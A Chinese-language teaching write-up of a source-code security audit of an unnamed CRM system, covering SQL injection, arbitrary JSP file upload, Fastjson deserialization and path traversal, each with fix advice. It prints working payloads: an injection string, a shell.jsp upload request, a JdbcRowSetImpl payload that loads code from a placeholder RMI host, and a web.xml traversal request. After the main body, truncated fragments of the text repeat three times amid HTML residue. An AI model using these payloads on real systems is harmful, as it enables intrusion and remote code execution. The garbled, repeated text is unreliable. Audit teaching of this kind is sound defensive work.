某CRM系统源码安全审计教学文档<\/h1>

概述<\/h2>
本文档基于对某CRM系统的源码安全审计，详细分析系统中存在的安全漏洞，包括SQL注入、文件上传漏洞、Fastjson反序列化漏洞和目录遍历漏洞。通过代码分析和漏洞复现，提供完整的安全审计教学。<\/p>

审计点1：SQL注入漏洞<\/h2>

漏洞位置<\/h3>
`com.metasoft.wxsconf.headimg.ImgController<\/code> 类中的头像保存功能<\/p>`

漏洞代码分析<\/h3>
\/\/ 从请求参数获取accountid，用户可控
<\/span><\/span><\/span><\/span>String accountid =<\/span> request.<\/span>getParameter<\/span>(<\/span>"accountid"<\/span>);<\/span>
<\/span><\/span>
<\/span><\/span>AccountPO ao =<\/span> new<\/span> AccountPO(<\/span>conn,<\/span> us);<\/span>
<\/span><\/span>if<\/span> (<\/span>ao.<\/span>getAc<\/span>(<\/span>accountid))<\/span> {<\/span>
<\/span><\/span>    if<\/span> (<\/span>ao.<\/span>checkImg<\/span>(<\/span>accountid))<\/span> {<\/span>
<\/span><\/span>        result.<\/span>put<\/span>(<\/span>"message"<\/span>,<\/span> "头像已有"<\/span>);<\/span>
<\/span><\/span>    }<\/span> else<\/span> {<\/span>
<\/span><\/span>        saveHeadImg(<\/span>headimgurl,<\/span> accountid);<\/span>
<\/span><\/span>        ao.<\/span>upHeadImg<\/span>(<\/span>accountid);<\/span>
<\/span><\/span>        result.<\/span>put<\/span>(<\/span>"message"<\/span>,<\/span> "头像保存成功"<\/span>);<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span> else<\/span> {<\/span>
<\/span><\/span>    result.<\/span>put<\/span>(<\/span>"message"<\/span>,<\/span> "会员不存在"<\/span>);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞根源<\/h3>
在AccountPO<\/code>类的getAc<\/code>方法中，存在SQL语句拼接漏洞：<\/p>
public<\/span> boolean<\/span> getAc<\/span>(<\/span>String id)<\/span> throws<\/span> SQLException {<\/span>
<\/span><\/span>    if<\/span> (<\/span>StringUtil.<\/span>isEmpty<\/span>(<\/span>id))<\/span> {<\/span>
<\/span><\/span>        return<\/span> false<\/span>;<\/span>
<\/span><\/span>    }<\/span> else<\/span> {<\/span>
<\/span><\/span>        \/\/ 直接拼接用户输入的id，存在SQL注入
<\/span><\/span><\/span><\/span>        String sql =<\/span> "select id from account where id='"<\/span> +<\/span> id +<\/span> "'"<\/span>;<\/span>
<\/span><\/span>        DomainObject[]<\/span> data =<\/span> this<\/span>.<\/span>findDomain<\/span>(<\/span>sql,<\/span> 0<\/span>,<\/span> 0<\/span>);<\/span>
<\/span><\/span>        return<\/span> data !=<\/span> null<\/span> &&<\/span> data.<\/span>length<\/span> ><\/span> 0<\/span>;<\/span>
<\/span><\/span>    }<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span><\/code><\/pre>漏洞利用<\/h3>
攻击者可构造恶意payload进行SQL注入：<\/p>
accountid=1' and 1<@@VERSION--
<\/code><\/pre>
修复建议<\/h3>

使用预编译语句（PreparedStatement）替代字符串拼接<\/li>
对输入参数进行严格的类型检查和过滤<\/li>
实施最小权限原则，数据库用户权限应受限<\/li>
<\/ol>
审计点2：任意文件上传漏洞<\/h2>
漏洞位置<\/h3>
webapps\/business\/common\/importdata\/sendfile.jsp<\/code> 文件<\/p>
漏洞代码分析<\/h3>
<%
String affix = myUpload.getFiles().getFile(0).getFileName();
int iCount = myUpload.getFiles().getFile(0).getSize();
String path = com.metasoft.framework.pub.util.Path.getUserFile()+"temp"+java.io.File.separator;
String fileFullName = "";

if (iCount != 0) {
    String fieldID = com.metasoft.framework.pub.util.UUID.getID();
    if(affix.indexOf(".")!=-1)
        fieldID += affix.substring(affix.lastIndexOf(".")); \/\/ 保留原文件后缀
    fileFullName = path+fieldID; 
    int iSaveCount = myUpload.saveAs(path, fieldID);
    \/\/ ... 后续处理
}
%>
<\/code><\/pre>
漏洞详情<\/h3>

系统获取上传文件的原始文件名affix<\/code><\/li>
使用UUID生成新文件名，但直接拼接原始文件的后缀名<\/li>
未对文件类型和内容进行任何安全检查<\/li>
攻击者可上传任意恶意文件（如JSP木马）<\/li>
<\/ol>
漏洞复现<\/h3>
POST<\/span> \/business\/common\/importdata\/sendfile.jsp HTTP<\/span>\/<\/span>1.1<\/span>
<\/span><\/span>Host:<\/span> TARGET_HOST<\/span>
<\/span><\/span>Content-Type:<\/span> multipart\/form-data; boundary=----WebKitFormBoundary<\/span>
<\/span><\/span>
<\/span><\/span>------WebKitFormBoundary
<\/span><\/span>Content-Disposition: form-data; name="file"; filename="shell.jsp"
<\/span><\/span>
<\/span><\/span><% out.println("恶意代码执行"); %>
<\/span><\/span>------WebKitFormBoundary--
<\/span><\/span><\/code><\/pre>修复建议<\/h3>

白名单验证文件扩展名<\/li>
检查文件内容类型（MIME类型）<\/li>
重命名上传文件，避免使用用户提供的文件名<\/li>
将上传文件存储在Web根目录之外<\/li>
限制上传文件的大小和类型<\/li>
<\/ol>
审计点3：Fastjson反序列化漏洞<\/h2>
漏洞位置<\/h3>
webapps\/WEB-INF\/classes\/com\/metasoft\/framework\/controller\/getFile.class<\/code><\/p>
漏洞环境<\/h3>

Fastjson版本：1.2.4（存在已知反序列化漏洞）<\/li>
数据传输方式：AES加密后的Hex编码<\/li>
<\/ul>
漏洞机制<\/h3>

参数p<\/code>接收经过AES加密的Hex编码值<\/li>
系统对参数进行AES解密后，进行JSON反序列化操作<\/li>
Fastjson 1.2.4版本存在反序列化漏洞，可执行远程代码<\/li>
<\/ol>
漏洞利用<\/h3>
构造恶意JSON载荷：<\/p>
{
<\/span><\/span>    "@type"<\/span>:"com.sun.rowset.JdbcRowSetImpl"<\/span>,
<\/span><\/span>    "dataSourceName"<\/span>:"rmi:\/\/malicious-server:1099\/Exploit"<\/span>,
<\/span><\/span>    "autoCommit"<\/span>:true<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>修复建议<\/h3>

升级Fastjson到最新安全版本<\/li>
使用安全的白名单机制限制反序列化的类<\/li>
避免反序列化不可信数据<\/li>
<\/ol>
审计点4：目录遍历漏洞<\/h2>
漏洞位置<\/h3>
同一getFile.class<\/code>文件中的文件下载功能<\/p>
漏洞代码分析<\/h3>
String fileName =<\/span> json.<\/span>getString<\/span>(<\/span>"fileName"<\/span>);<\/span>
<\/span><\/span>String folder =<\/span> json.<\/span>getString<\/span>(<\/span>"folder"<\/span>);<\/span>
<\/span><\/span>String sCorpName =<\/span> json.<\/span>getString<\/span>(<\/span>"sCorpName"<\/span>);<\/span>
<\/span><\/span>String path =<\/span> ""<\/span>;<\/span>
<\/span><\/span>
<\/span><\/span>\/\/ 根据folder类型确定基础路径
<\/span><\/span><\/span><\/span>if<\/span> (<\/span>"attach"<\/span>.<\/span>equals<\/span>(<\/span>folder))<\/span> {<\/span>
<\/span><\/span>    path =<\/span> Path.<\/span>getAttachAbsoluteDirectory<\/span>(<\/span>sCorpName);<\/span>
<\/span><\/span>}<\/span> else<\/span> if<\/span> (<\/span>"template"<\/span>.<\/span>equals<\/span>(<\/span>folder))<\/span> {<\/span>
<\/span><\/span>    \/\/ ... 其他路径类型
<\/span><\/span><\/span><\/span>}<\/span> else<\/span> {<\/span>
<\/span><\/span>    path =<\/span> Path.<\/span>getTempAbsoluteDirectory<\/span>(<\/span>sCorpName);<\/span>
<\/span><\/span>}<\/span>
<\/span><\/span>
<\/span><\/span>path =<\/span> path +<\/span> fileName;<\/span> \/\/ 直接拼接文件名，存在路径遍历风险
<\/span><\/span><\/span><\/span>FileInputStream fio =<\/span> new<\/span> FileInputStream(<\/span>new<\/span> File(<\/span>path));<\/span>
<\/span><\/span>IOUtils.<\/span>copyLarge<\/span>(<\/span>fio,<\/span> response.<\/span>getOutputStream<\/span>());<\/span>
<\/span><\/span><\/code><\/pre>漏洞详情<\/h3>

fileName<\/code>参数用户可控，未进行路径遍历检查<\/li>
通过..\/<\/code>序列可访问系统任意文件<\/li>
结合folder<\/code>参数可定位不同目录下的敏感文件<\/li>
<\/ol>
漏洞利用<\/h3>
{
<\/span><\/span>    "fileName"<\/span>: "..\/..\/..\/WEB-INF\/web.xml"<\/span>,
<\/span><\/span>    "folder"<\/span>: "attach"<\/span>,
<\/span><\/span>    "sCorpName"<\/span>: "test"<\/span>
<\/span><\/span>}
<\/span><\/span><\/code><\/pre>修复建议<\/h3>

对文件名进行规范化处理<\/li>
检查文件名是否包含路径遍历字符（..\/<\/code>等）<\/li>
限制文件访问范围，确保只能在指定目录下访问<\/li>
实施文件访问白名单机制<\/li>
<\/ol>
综合安全建议<\/h2>
代码层面<\/h3>

所有用户输入都应视为不可信的，必须进行严格验证<\/li>
使用参数化查询预防SQL注入<\/li>
实施最小权限原则，限制系统各组件权限<\/li>
<\/ol>
架构层面<\/h3>

实施纵深防御策略，多层安全防护<\/li>
定期进行安全审计和代码审查<\/li>
建立安全开发生命周期（SDLC）<\/li>
<\/ol>
运维层面<\/h3>

及时更新第三方库和框架<\/li>
部署WAF等安全防护设备<\/li>
建立安全监控和应急响应机制<\/li>
<\/ol>
总结<\/h2>
本审计揭示了CRM系统中存在的多种严重安全漏洞，涵盖了注入、文件操作、反序列化等常见漏洞类型。开发人员应重视安全编码实践，定期进行安全审计，确保系统安全性。<\/p>

某CRM系统源码安全审计教学文档<\/h1>

概述<\/h2>
本文档基于对某CRM系统的源码安全审计，详细分析系统中存在的安全漏洞，包括SQL注入、文件上传漏洞、Fastjson反序列化漏洞和目录遍历漏洞。通过代码分析和漏洞复现，提供完整的安全审计教学。<\/p>

审计点1：SQL注入漏洞<\/h2>

漏洞位置<\/h3>
`com.metasoft.wxsconf.headimg.ImgController<\/code> 类中的头像保存功能<\/p>`

审计点2：任意文件上传漏洞<\/h2>

漏洞位置<\/h3>
`webapps\/business\/common\/importdata\/sendfile.jsp<\/code> 文件<\/p>`

审计点3：Fastjson反序列化漏洞<\/h2>

漏洞位置<\/h3>
`webapps\/WEB-INF\/classes\/com\/metasoft\/framework\/controller\/getFile.class<\/code><\/p>`

审计点4：目录遍历漏洞<\/h2>

漏洞位置<\/h3>
同一`getFile.class<\/code>文件中的文件下载功能<\/p>`

综合安全建议<\/h2>

总结<\/h2>
本审计揭示了CRM系统中存在的多种严重安全漏洞，涵盖了注入、文件操作、反序列化等常见漏洞类型。开发人员应重视安全编码实践，定期进行安全审计，确保系统安全性。<\/p>

某CRM系统源码安全审计教学文档<\/h1>

概述<\/h2> 本文档基于对某CRM系统的源码安全审计，详细分析系统中存在的安全漏洞，包括SQL注入、文件上传漏洞、Fastjson反序列化漏洞和目录遍历漏洞。通过代码分析和漏洞复现，提供完整的安全审计教学。<\/p>

审计点1：SQL注入漏洞<\/h2>

漏洞位置<\/h3> com.metasoft.wxsconf.headimg.ImgController<\/code> 类中的头像保存功能<\/p>

审计点2：任意文件上传漏洞<\/h2>

漏洞位置<\/h3> webapps\/business\/common\/importdata\/sendfile.jsp<\/code> 文件<\/p>

审计点3：Fastjson反序列化漏洞<\/h2>

漏洞位置<\/h3> webapps\/WEB-INF\/classes\/com\/metasoft\/framework\/controller\/getFile.class<\/code><\/p>

审计点4：目录遍历漏洞<\/h2>

漏洞位置<\/h3> 同一getFile.class<\/code>文件中的文件下载功能<\/p>

综合安全建议<\/h2>

总结<\/h2> 本审计揭示了CRM系统中存在的多种严重安全漏洞，涵盖了注入、文件操作、反序列化等常见漏洞类型。开发人员应重视安全编码实践，定期进行安全审计，确保系统安全性。<\/p>

概述<\/h2>
本文档基于对某CRM系统的源码安全审计，详细分析系统中存在的安全漏洞，包括SQL注入、文件上传漏洞、Fastjson反序列化漏洞和目录遍历漏洞。通过代码分析和漏洞复现，提供完整的安全审计教学。<\/p>

漏洞位置<\/h3>
`com.metasoft.wxsconf.headimg.ImgController<\/code> 类中的头像保存功能<\/p>`

漏洞位置<\/h3>
`webapps\/business\/common\/importdata\/sendfile.jsp<\/code> 文件<\/p>`

漏洞位置<\/h3>
`webapps\/WEB-INF\/classes\/com\/metasoft\/framework\/controller\/getFile.class<\/code><\/p>`

漏洞位置<\/h3>
同一`getFile.class<\/code>文件中的文件下载功能<\/p>`

总结<\/h2>
本审计揭示了CRM系统中存在的多种严重安全漏洞，涵盖了注入、文件操作、反序列化等常见漏洞类型。开发人员应重视安全编码实践，定期进行安全审计，确保系统安全性。<\/p>